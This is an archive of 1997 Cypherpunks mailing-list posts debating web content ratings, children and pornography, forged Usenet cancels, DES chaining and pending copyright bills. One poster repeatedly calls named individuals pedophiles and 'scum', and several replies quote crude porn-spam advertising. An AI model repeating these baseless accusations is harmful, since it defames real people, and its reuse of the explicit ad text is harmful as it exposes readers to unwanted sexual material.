From declan at well.com  Wed Jul 30 12:31:14 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 31 Jul 1997 03:31:14 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: 



Jamie,

It generally is not morally wrong to take steps to prevent children from
having access to pornography, provided they're your children or you have a
custodial relationship. 

But, as you say, that generality does not excuse all actions done in the
name of protecting children. For instance, murdering the pornographers to
protect children is not morally justified. 

In other words, don't infringe on the rights of someone else.

As for your point about it being immoral not to protect children, your
statement is so vague as to be meaningless. Of COURSE we want to protect
children. But how? Protecting them from racism by banning Tom Sawyer or
prevening them from reading Huck Finn? Protecting them from "porn" by not
letting them look at nude sculpture?

This is a core "family values" issue. Let each parent protect their
children the best way they can. No government intervention is generally
needed.

-Declan



On Wed, 30 Jul 1997, James Love wrote:

> Paul Bradley wrote:
> > 
> > >    What is your strategy to avoid RSACi type systems?  To persuade
> > > parents that there is no need to censor kids from graphic images of
> > > sexual acts?  Good luck.
> > 
> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?
> 
>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.
> 
>                 Jamie
> 
> _______________________________________________________
> James Love | Center for Study of Responsive Law
> P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> http://www.cptech.org | love at cptech.org
> 
> 






From love at cptech.org  Wed Jul 30 12:36:42 1997
From: love at cptech.org (James Love)
Date: Thu, 31 Jul 1997 03:36:42 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: <33DF9522.3985417E@cptech.org>



Paul Bradley wrote:
> > Pissing, Fisting and beastiality! We go to great lengths to bring you
> > the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> > Watch! Unfortunately, We can't bring you everything!
> > 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
> >
> > Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
> > The ultimate in anal, double anal, double penetration, sloppy oral, and
> > gangbang action!!! 100% GUARANTEED free xrated pics Action!
> >
> > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> 
> We can clearly come to no agreement here as I cannot see any material
> listed above which would be harmful in any way to a viewer, child or
> not.

   Paul. Do you *have* any children?  Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love at cptech.org






From tcmay at got.net  Wed Jul 30 12:50:49 1997
From: tcmay at got.net (Tim May)
Date: Thu, 31 Jul 1997 03:50:49 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: 



At 12:25 PM -0700 7/30/97, James Love wrote:
>Paul Bradley wrote:
>> > Pissing, Fisting and beastiality! We go to great lengths to bring you
>> > the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
>> > Watch! Unfortunately, We can't bring you everything!
>> > 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
>> >
>> > Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
>> > The ultimate in anal, double anal, double penetration, sloppy oral, and
>> > gangbang action!!! 100% GUARANTEED free xrated pics Action!
>> >
>> > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
>>
>> We can clearly come to no agreement here as I cannot see any material
>> listed above which would be harmful in any way to a viewer, child or
>> not.
>
>   Paul. Do you *have* any children?  Jamie
>

The discussion is shifting, predictably, from the so-called "voluntary"
labeling standards to the real issue of what will be banned, mandatorily
rated as "adult" material, etc.

Regardless of who here has any children, and regardless of whether one
thinks bestiality, etc. is appropriate for one's own children, or the
children of others, and so on, the Real Issue is this:

How will a completely voluntary ratings system, and one which then of
necessity allows folks to apply their own notions of appropriateness,
protect children?

A truly voluntary system, with the ability to either not rate something or
to in fact label as one wishes, will not solve the problem James Love
apparently wants to solve.

The abuse a mandatory ratings system would do to the basic liberties of us
all is vastly too high a price to pay just to relieve parents of the
responsibility of monitoring what their children are doing and seeing.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jai at mantra.com  Wed Jul 30 12:54:29 1997
From: jai at mantra.com (Dr. Jai Maharaj)
Date: Thu, 31 Jul 1997 03:54:29 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <3.0.2.32.19970730093753.007a0ba0@caprica.com>



At 12:09 PM 7/30/97 -0700, Paul Pomes wrote:
> At 6:46 -1000 on Wednesday, July 30, 1997, 
>
> Dr. Jai Maharaj wrote:
>> Forgery is a crime and such acts are not justified.
>
> "Crime"? . . .

Yes, the removal of data from computer networks
through forgery is a crime. People who do so are criminals.

Jai Maharaj
jai at mantra.com
Om Shanti







From dlv at bwalk.dm.com  Wed Jul 30 13:28:16 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 04:28:16 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: 



"Sandy Harris"  writes:

> 
> Dr.Dimitri Vulis KOTM  writes:
> 
> 
> 
> >> Entrust Technologies (www.entrust.com) has made Solo available for
> >> download, free . . .
> 
> >I ask everyone on these two forums
> 
> Cypherpunks & Freedom Knights. Both should be very happy to
> see strong encryption becoming more widely available.

As opposed to snake oil peddled by the forgers who employ Chris Lewis.

> 
> >to inform Northern Telecom Forgers / Bell North Forgery Research
> >/ Entrust that we will boycott their "security" products
> 
> Snarky quotes not required. This isn't snake oil. There is plenty of
> solid analysis behind these products. Check references on Entrust
> web site.
> 
> >as long they continue to employ the child-molesting
> >pedophile Chris R. Lewis - the biggest forger on Usenet.
> 
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense.

"Scum" applies to Chris lewis and Sandy Harris, both of whom have Web
pages dedicated to them at http://www.netscum.net/lewisc0.html and
../harriss0.html.  (While at it, check out gary Burnore's net.Scum
page at ../burnorg0.html.)

Chris Lewis forges cancels for Usenet articles posted by other people when
he doesn't like their contents.  'Forges' refers to Chris Lewis putting the
e-mail address of his victim in the Sender: field.  You can find numerous
examples of Chris Lewis forging cancels for articles that are not "spam"
by any definition on his Net.Scum page.

> Dimitri, the "forgeries" are going to continue until someone comes
> up with a better way of dealing with spam. If you have suggestions,
> post them to some of the news,admin.net-abuse.* groups or to
> the Freedom Knights list.
> 
> The crap about pedophilia is also, of course, nonsense. It seems
> to be a favorite slur lately with several grossly misguided people
> who think calling people they dislike pedophiles is a way to
> "defend freedom of speech".
> 

Sandy Harris sounds like a typical Usenet pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From iang at cs.berkeley.edu  Wed Jul 30 13:30:22 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Thu, 31 Jul 1997 04:30:22 +0800
Subject: Cryptography Question (I hope it's not off-topic on this list)
In-Reply-To: <199707281537.RAA09388@basement.replay.com>
Message-ID: <5ro7ru$f5i@abraham.cs.berkeley.edu>



In article ,
Paul Bradley   wrote:
>
>
>>   e.g. - If only 56-bit encryption becomes legal, is there a method
>> of *chaining* several passes of 48-bit encryption which would make it
>> just as hard to break as 96/192/384-bit (etc.) encryption?
>
>This is a similar idea to implementing, say DES, with independent 
>subkeys. Layering encryption in this manner makes the plaintext more 
>difficult to determine providing that:
>
>a. The involved cryptosystem is not a group, or does not posess strong 
>group like properties (eg. There are no large subgroups).
>
>b. Independent keys are used for each encryption
>
>For a good example of a particular case of your idea see 3DES

Careful, here.  3DES gives us a benefit because we can chain crypto at
the algorithm level.  Chaining several passes of DES may not give this
benefit if all we have is an opaque program that block-pads the input
and does raw DES on that.  For example (the values are imaginary),

DES("foo") = DES_raw("foo\x05\x05\x05\x05\x05") = "f983hgls"
DES(DES("foo")) = DES("f983hgls") =
   DES_raw("f983hgls\x08\x08\x08\x08\x08\x08\x08\x08") = "d84koqw78452398f"
DES(DES(DES("foo"))) = DES("d84koqw78452398f") =
   DES_raw("d84koqw78452398f\x08\x08\x08\x08\x08\x08\x08\x08") =
   "ecy34895y34057834985634y";

whereas 3DES("foo") = 3DES_raw("foo\x05\x05\x05\x05\x05") = "ecy34895"

To break DES(DES(DES("foo"))), break the outer DES until you find
"\x08\x08\x08\x08\x08\x08\x08\x08" at the end of the "plaintext" (actually,
the padded value of DES(DES("foo"))).  Repeat until you get "foo".

[It is left as an exercise to the reader to determine why you might not
be able to merely chop the last 8 bytes off the output of the second and
third DES iterations to get around this problem.]

   - Ian






From jai at mantra.com  Wed Jul 30 13:37:30 1997
From: jai at mantra.com (Dr. Jai Maharaj)
Date: Thu, 31 Jul 1997 04:37:30 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707301842.LAA16904@kachina.jetcafe.org>
Message-ID: <3.0.2.32.19970730102014.00907ec0@caprica.com>



At 1:05 PM 7/30/97 -0700, Paul Pomes wrote:
> At 11:42 PDT on Wednesday, July 30, 1997, Dave Hayes wrote:
>>> Dimitri, the "forgeries" are going to continue until 
>>> someone comes up with a better way of dealing with spam. 
>>>  -  Paul Pomes
>>
>> There -is- a better way. It's called the delete key. Few 
>> seem to want to use it, which fits with humanity's general 
>> lack of personal responsibility. -  Dave Hayes
>
> Au contraire, cancels are the better way.  It spares me 
> from having to hit the delete key so many times.  It also 
> serves as a negative incentive and slows the growth of spam. 
> -  Paul Pomes

It is not a good idea to impose censorship on others by
supporting the laziness of Paul Pomes.

Jai Maharaj
jai at mantra.com
Om Shanti







From kstar at isinet.com  Wed Jul 30 14:21:20 1997
From: kstar at isinet.com (Kurt Starsinic)
Date: Thu, 31 Jul 1997 05:21:20 +0800
Subject: Yet another self-labeling system
Message-ID: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>



    I'm in favor of a ratings system; not one which indicates for whom a
given page is suitable, but rather one which identifies the subject matter.
 The Dewey Decimal System is a primitive example of such a system.

    It seems to me that, if the USG is in the business of encouraging or
endorsing morally normative ratings systems (which, of course, they've done
for years), they're discouraging free discourse regarding child-rearing.

    It's important that parents can protect their children from content
which _they_ believe to be inappropriate, but providing boilerplate (such
as "adult"/"non-adult") turns parents into sheeple.

    I could write a book, but I think I've made my point.

    Peace,
*---- Kurt Starsinic (kstar at isinet.com) ------ Senior Programmer/Analyst ---*
|   Institute for Scientific Information             (215) 386-0100 x1108   |
|   "It seems every politician in the country wants to enact a minute for   |
|    school prayer these days.  I'd be happy if somebody could just         |
|    legislate a minute of science in school."  --  Dennis Miller           |
*------------------------   http://www.isinet.com   ------------------------*






From aba at dcs.ex.ac.uk  Thu Jul 31 05:40:22 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 31 Jul 1997 05:40:22 -0700 (PDT)
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: 
Message-ID: <199707311120.MAA00669@server.test.net>



A good post.  Your notice-board analogy was reasonable.

How about this as a stop gap measure: rather than sending cancels for
spams posted to multiple newsgroups, simply modify the distribution.
That is cancel all but one groups worth of articles, and then modify
the Newsgroups line to cross-post to all the groups the article was
originally posted to.

That way you are not as such "cancelling" anything as a net result,
but are just "compressing" your news spool or downstream feed, no
information is lost (other than the information that the poster is
clueless and doesn't know how to cross-post, which is now disguised by
a compression agent trawling through the news spool fixing things up).

Sound reasonable?

If news admins, or others getting involved with issuing forged cancels
are not willing to do this it suggests that they are making judgements
about the content of the posts as well as claiming to want to save
bandwidth.


Another longer term way to improve the situation is to charge some
small token amount per article, just to encourage people to use it
with some intelligence (use cross posts rather than separately
reposting to each group).

It is also entirely possible for people to have 'bots which auto-post
in response to articles matching keywords, or matching authors.
(We've seen a few of these on cypherpunks).

If people want to make a nuisance for others by spewing random garbage
via bots to newsgroups, they could post mega bytes of stuff per day
and swamp the content.  What can you do about this?  Charging a small
amount per post, or per megabyte would provide a small disincentive
for this type of behaviour.  However it would never reflect the true
cost to USENET bandwidth as a whole.

One interesting idea which has been floated on this list in the past
is for authors to have their free posting rate moderated by other
peoples ratings of their posts.

One way to implement this is for other people to pay the author for
their articles a penny if they like the article.  That way people who
write things which others find interesting to read get subsidized
posting.  Is it still free speech if you have to pay for your posts if
you're arguing for an unpopular minority?

Also, this might be an interesting information market model because
technical experts might even find themselves with a well paid job of
answering technical questions in newsgroups.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <19970730142759.44396@bywater.songbird.com>



On Wed, Jul 30, 1997 at 12:05:07PM -0700, Alan wrote:
[...]
> This makes an assumption that sexual material harms children.  Do you have
> any data or studies that actually shows that to be true?

[...]
> The idea that children are somehow scarred and harmed by sexually explicit
> material is without any foundation or evidence.  (Assuming they are able
> to get real unfiltered information to make a correct descision and are not
> getting guilt tripped for wanting that information.)

You have to define "harm", of course.  It's realitively easy to
describe physical harm, but psychological harm is far more complex. 
You are far better off avoiding that tack entirely, and rather think
in terms of behavior you want to promote or not promote.  So, for
example, are children who are exposed to sexually explicit material at
an early age more likely to go to jail in later years? I suspect we
both believe that there is zero correlation. 

> Note, I am not talking about sexual contact or any of the other boogie
> men that the moralists and control freaks try to bring up.  Adolecence is
> supposed to be a time to prepare for adulthood.  They are going to form
> some sort of opinion one way or another.  If they get no information or
> support before they are 18/21, they are going to wind up pretty screwed
> up.

A more interesting case can be made for exposure to violence, of
course.  There is (perhaps controversial) evidence that early exposure
to violent imagery increases the likelihood that a child will be a 
violent adult.

Anyway, those who say that parents should just more closely supervise 
their children must either not be parents, or have defective kids.  
It is a difficult job.  

The topology of the physical world makes it relatively easy to keep
your child away from adult bookstores, if that is your desire, but
cyberspace has a different topology that doesn't support a natural
segregation of neighborhoods. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From fnorky at geocities.com  Wed Jul 30 14:57:33 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Thu, 31 Jul 1997 05:57:33 +0800
Subject: Yet another self-labeling system
In-Reply-To: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>
Message-ID: <33DFB441.59A0@geocities.com>



Kurt Starsinic wrote:
> 
>     I'm in favor of a ratings system; not one which indicates for whom a
> given page is suitable, but rather one which identifies the subject matter.
>  The Dewey Decimal System is a primitive example of such a system.

Technically the Dewey Decimal System in not a rating system, it's a
subject index.  It would make searching the web quite a bit easier.  It
could be as easy as this:

 

Of course the number is now only a subject, not a specific web page.


>     It seems to me that, if the USG is in the business of encouraging or
> endorsing morally normative ratings systems (which, of course, they've done
> for years), they're discouraging free discourse regarding child-rearing.

Could you elaborate please?

 
>     It's important that parents can protect their children from content
> which _they_ believe to be inappropriate, but providing boilerplate (such
> as "adult"/"non-adult") turns parents into sheeple.

Agreed.  I prefer to determine for myself what is appropriate for my
child.  What someone else considers adult, I may consider appropriate or
even required for my child to view.
 
-Doug






From declan at well.com  Wed Jul 30 14:57:59 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 31 Jul 1997 05:57:59 +0800
Subject: Don't copy that floppy! Copyright bill roundup (7/30/97)
Message-ID: 



If you give your dad a "free" copy of Microsoft Word, you'll
be guilty of a Federal felony, at least under some of the
bills that have recently been introduced in Congress. I'm
still reading through them, but here's what I've gleaned...

Much of the debate will center around the so-called
"LaMacchia Exemption," which basically means that
non-profit copyright infringing is not a crime. It is,
however, already a civil offense -- as the SPA is always
eager to demonstrate. I wrote about this recently:

  http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

HR2265: Introduced by Rep. Bob Goodlatte on July 25, the
"No Electronic Theft Act" would eliminate the LaMacchia
Exemption. If you give pirated software to a friend
(exchanging "anything of value" including "other copyright
works"), beware. For the first offense, assuming the
software is worth at least $5,000, you get three years in
the Federal pen. If you make more than ten total pirated
copies, you get six years:

  http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2265:


HR2180: Internet services generally would not be liable for
their customers' copyright infringements, under this bill
introduced on July 17 by Rep. Coble and Rep. Henry Hyde.
Called the "On-Line Copyright Liability Limitation Act,"
it's what ISPs have been demanding for years. Watch major
copyright owners like Microsoft frown at this one. Nobody
in the Senate has introduced companion legislation yet; the
Judiciary Committee had a hearing on ISP liability
scheduled for yesterday but it was cancelled due to Justice
Brennan's death.

  http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2180:


HR2281: Arguably the most controversial of the copyright
bills introduced so far, this legislation that was introduced
yesterday would enact the World Intellectual Property
Organization copyright treaty the U.S. signed last
December. Problem is, it may go far beyond what the treaty
requires. The bill bans "technology" (including both
hardware and software) that has few uses other than
"circumventing a technological protection measure."

It could impact encryption. "Circumvention" is defined as
"to descramble a scrambled work, to decrypt an encrypted
work." (What does this mean for cryptanalysts?) It also
restricts removing "copyright management information" that
includes titles, author's name, and copyright notice.
Violators would be subject to civil penalties or criminal
prosecution. If you "circumvent" protection or remove
copyright info "for purposes of private financial gain,"
you'll face up to a $1,000,000 fine and 10 years in Federal
prison.

That's serious stuff. And it raises some interesting
questions: what if I include a Reuters article in a
newsletter I sell, and delete the copyright notice? Am I a
Federal felon? Do I have a million dollars? Hmm...

"They have criminalized conduct that is legal under the
current copyright act," says Adam Eisgrau of the American
Library Association. "They have created a new crime that is
completely divorced from copyright infringement." Eisgrau
says this bill isn't required by the WIPO treaty, which
only mandates that countries punish *actions* that
infringe, not *devices* that do.

This legislation has hefty backing: Rep. Henry Hyde (full
committee chair), Rep. Howard Cobel (subcommittee chair),
and Rep. Barney Frank (ranking Democrat on the
subcommittee). Sen. Patrick Leahy, who likely will endorse
this approach, said yesterday that he was studying similar
legislation.

The SPA, naturally, is also supporting this bill. I've attached
their press release below. The text of HR2281 isn't online yet

-Declan

---

SPA press release

WIPO Treaty Implementation Bill Introduced in House
Copyright Protections for Software Greatly Enhanced


(Washington, D.C. -- July 30, 1997)  Rep. Howard Coble (R-N.C.), chairman
of the House Judiciary Subcommittee on Courts and Intellectual Property,
introduced late yesterday the WIPO Copyright and Performances and
Phonograms Treaty Implementation Act (H.R. 2281).  The bill will make
necessary amendments to U.S. law to enable the Senate to ratify new
international intellectual property treaties negotiated last year in
Geneva.  The legislation is largely based on a Clinton administration
proposal delivered by Commerce Secretary William Daley.

SPA was a leading participant in the diplomatic conference last December
that drafted the WIPO copyright treaty, and considers copyright protection
for the Internet to be a major priority.

"SPA supports the objectives of H.R. 2281 and, while further analysis must
be done, believes that the Clinton administration and Rep. Coble have
achieved a workable balance," said Ken Wasch, SPA president.  "H.R. 2281
represents significant accommodations to guard against inadvertent
liability for multi-purpose computers, software and other concerns.  We
hope Congress understands that further concessions would undermine the
measures needed to make gains in the war against software piracy."

"We commend Secretary Daley and his senior advisers for their perseverance
in forging the administration's legislative proposal, Rep. Coble and his
staff for their determined effort to introduce the measure and the bill's
co-sponsors, Reps. Henry Hyde (R-Il.), Barney Frank (D-Mass.) and John
Conyers (D-Mich.).   In putting this bill before Congress, they have
reached an important milestone in establishing the legal framework needed
to protect electronic commerce in computer software."

H.R. 2281 would also prohibit knowingly provide false copyright management
information with intent to induce or conceal software piracy and other
copyright infringement, and make technical changes to bring U.S. law into
accord with the WIPO treaties.

Circumvention of technological copyright protection measures for purposes
of software piracy is a serious problem.  Today, copyright law cannot be
used to stop all kinds of unauthorized circumvention, nor can the making
and selling of technology designed specifically to do so.  These access and
copy control technologies, such as scrambling, encryption and electronic
locks, supplement legal protection in fighting software piracy but do not
solve the problem.  In fact, new problems are emerging on a consistent
basis.

For example, last May Chico-based SciTech Software, Inc. received ransom
demands for $25,000 from an on-line extortionist who threatened to
publicize on the Internet the instructions for disabling technology that
controls the 21-day evaluation period for its graphics utility program,
"Display Doctor."  "The scary thing is not that our protection could be
circumvented.  Dedicated pirates always find a way," said Kendall Bennett,
SciTech engineering director.  What's scary is that they can get the
information on how to circumvent into the hands of millions of casual users
who would normally license our software."

The immediate threat to SciTech has passed, but the blackmailer is still at
large.  Other SPA members have received ransom demands for as much as $1
million. That problem would be addressed by the new WIPO Copyright Treaty,
which requires the U.S. and other countries to make sure that software
companies have effective remedies against circumvention of technical
protection for copyrighted works.   SPA has spent months building consensus
among industry and government on how to do so, and Rep. Coble's bill has
put the issues before Congress.

SPA is the principal trade association for the computer software industry,
representing the leading publishers as well as start-up firms in the
business, home office, consumer entertainment and educational markets.  SPA
supports companies that develop and publish software applications and tools
for use on the desktop, client-server networks and the Internet.  SPA's
1,200 member companies account for 85 percent of U.S. revenue for packaged
and online software.

Contact:        Mark Traphagen, Vice President for Intellectual Property
and Trade                       Policy, SPA, (202) 452-1600, ext. 322.
Steve Bowers, Media Relations Specialist, SPA, (202) 452-1600, ext. 365.


###                     www.spa.org


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From dformosa at st.nepean.uws.edu.au  Thu Jul 31 06:05:49 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 31 Jul 1997 06:05:49 -0700 (PDT)
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Adam Back wrote:

> A good post.  Your notice-board analogy was reasonable.

[...]

> That is cancel all but one groups worth of articles, and then modify
> the Newsgroups line to cross-post to all the groups the article was
> originally posted to.

No that is worce,  it would be forgery of the orginal post.  In addtion it
would violate the usenet requirement to avoid modifing the post.

[...]

> One interesting idea which has been floated on this list in the past
> is for authors to have their free posting rate moderated by other
> peoples ratings of their posts.

No this would mean unpopular (but often neccery) peaple would be forced
off usenet.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+BT/qQK0ynCmdStAQGREAQA0JdVS7fUyLdhF1iTFQ5xaWYzoCBBoMgY
2MjYjC1BNvOt0Ju5r7S/J96RhGHDgqSV7whYLzxNy2a0dqYViGfnO/5JsPxbPRre
SmISeEEkdL8nsgWu95FJklU/d3Npz1FhdS1ACed1QMKufZjx+t+dfzWXtDTsINtB
lSuzo2tJikI=
=M0p6
-----END PGP SIGNATURE-----






From dformosa at st.nepean.uws.edu.au  Thu Jul 31 06:15:47 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 31 Jul 1997 06:15:47 -0700 (PDT)
Subject: forged cancels (Re: Entrust Technologies's Solo - free  download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 30 Jul 1997, Ryan Anderson wrote:

> "Make Money Fast" are killed because they're illegal scams in the US and I
> think in most of the world.

No there not.  Nobody should cancel things because there illegle, if
canceled it is because there over 20BI.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+BWVaQK0ynCmdStAQGbhAQAnhePEY1TWMhUMW+y4w/kZKKIDMWmrHw0
fgB+O1by5hKANN22+hwTo7ixpPgR0+AZXvGFCcyGggNAv7oXof+KKp/cgWio5+X7
lBfg0TGCuf08VWIUFX4VHtpM1vufhNtzfBI4QiFjWo8SHZK1qzjICA3/wU41nIfw
l7tewaCM7AI=
=ax7/
-----END PGP SIGNATURE-----






From enoch at zipcon.net  Wed Jul 30 15:17:21 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Thu, 31 Jul 1997 06:17:21 +0800
Subject: Netly News Fan Mail
Message-ID: <19970730220815.5319.qmail@zipcon.net>



It appears that the CPAC/Sewer folks have read the recent Netly News
article on their activities and were not pleased.  This little blurb
healines the "Sewer List" this morning.

-----Begin Officer Paladino Rant-----

July 29, 1997, I was told of an article that appeared on the Net.
It appeared on a Netly News site. Of course, its good reading if
you are a Boylover. Apparently the writer, like many reporters I
have known, likes to keep the pot stirring with coin phrases like
war, net.vigilantes and so on.

To give the article credibility he interviewed CPAC, NAMBLA,
ACLU. He also mention this writer but forgot to get a statement
from me and 100's of other groups that feel that child porn,
molesters and such have no place on the web.

In the article he links to a few sites showing young boys but he
forgot to link to the 1000's of sites showing young boys in the
nude. Why is that I ask. Well to keep the pot stirring. He claims
their is gay bashing going on, look on this site and others that
link here and you'll find no gay bashing.

You will see sites exposing young boys, as young as 4 years old,
nude. I, for one, can't not justify nude pictures of 4yr old boys
and girls. But the Boylovers insist this is their way of showing
love. AND, of course, we always get back to the Freedom of Speech
arguement.

You know that gigantic excuse for expression. We still have
Freedom of Speech in this counrty, while every other liberty is
falling by the wayside. As I read the article, I could see the
bias and I wonder why???? Maybe the reporter also has an agenda.
If he writes another article on this subject, it would be
interesting to see which Boylovers will be interviewed.
Apparently he has never been to the Sewer or maybe he has?

Freedom is a great thing and this is the greatest country in the
world. I wonder how many soldiers that gave their lifes fighting
for that freedom, had pictures of nude boys in their wallets,
instead of their families. Think about
that.......................

-----End Officer Paladino Rant-----

Will someone please buy this poor man a spell-checker? :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}







From jamesd at echeque.com  Wed Jul 30 15:45:46 1997
From: jamesd at echeque.com (James A. Donald)
Date: Thu, 31 Jul 1997 06:45:46 +0800
Subject: FCPUNX:Prior Restraint
Message-ID: <199707302229.PAA14450@proxy4.ba.best.com>



At 09:18 AM 7/29/97 +0200, Anonymous wrote:
>  Ira Stohl and Kristina Hjelsand had been charged with obscenity for
> selling the controversial magazine "Answer Me!" a short-lived but
> legendary
> periodical that offered extremely politically incorrect articles about
> rape, among other subjects.

I read this magazine, and 95% of the views expressed in their
infamous rape issue were tediously PC.  Their thought crime was
that that they embraced debate on the topic, that they presented 
some alternate viewpoints, some of them fairly vile, 

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From jai at mantra.com  Wed Jul 30 15:57:57 1997
From: jai at mantra.com (Dr. Jai Maharaj)
Date: Thu, 31 Jul 1997 06:57:57 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707302128.RAA10233@mail.storm.ca>
Message-ID: <3.0.2.32.19970730124407.0098f250@caprica.com>



At 5:28 PM 7/30/97 -0400, Sandy Harris wrote:
> . . . Perhaps more to the point, cancels conserve 
> resources on newservers.

That is like saying "by decreasing the human population 
by mass murder, our resources are conserved."  Censorship
is not justified by stating that it causes the information
to be reduced so as to lighten the load on a network.

> ...where on this scale do you start to object to my actions:
> 1) I use a killfile to ignore certain messages.
> 2) I program my personal newsserver to discard certain messages.
> 3) A group of us, by consensus, program our common newsserver...

Unanimous consent?

> 4) A system admin, with due notice to users, programs a 
> newserver.....

What constitutes "due notice" in the present context?
If an ISP were to advertise "Newsgroups censored through
forgery", then that would be "due notice".

> 5) A group of admins agree to jointly program their newsservers 
> so that some of them can cause all systems to discard messages.

Given the proposed "due notice" above, ISPs with such 
administrators are not likely to attract many customers.

Jai Maharaj
jai at mantra.com
Om Shanti







From tskirvin at math.uiuc.edu  Thu Jul 31 07:04:22 1997
From: tskirvin at math.uiuc.edu (Tim Skirvin)
Date: Thu, 31 Jul 1997 07:04:22 -0700 (PDT)
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <19970731090412.58654@math.uiuc.edu>


Adam Back  writes:

> Newsadmins who auto-cancel cross-posts are acting counter-productively
> and censorously.

	I'm not aware of anybody that does that.  The only crossposts that
are killed are those that reach a BI of 20, and for a single post to do
that would require the message to be crossposted to 400 newsgroups.  Which
doesn't happen.

	It might interest you to know that a cancel will kill all the
crossposts in a single message, BTW.  Your "cancelling 99 of the 100
articles thing" does save lots of reader time.  

	(If you're going to talk about cancels authoritatively, please
read my Cancel FAQ - it's got huge piles of information on this stuff.)

				- Tim Skirvin (tskirvin at uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon
Cancel FAQ





From frogfarm at yakko.cs.wmich.edu  Wed Jul 30 16:28:26 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Thu, 31 Jul 1997 07:28:26 +0800
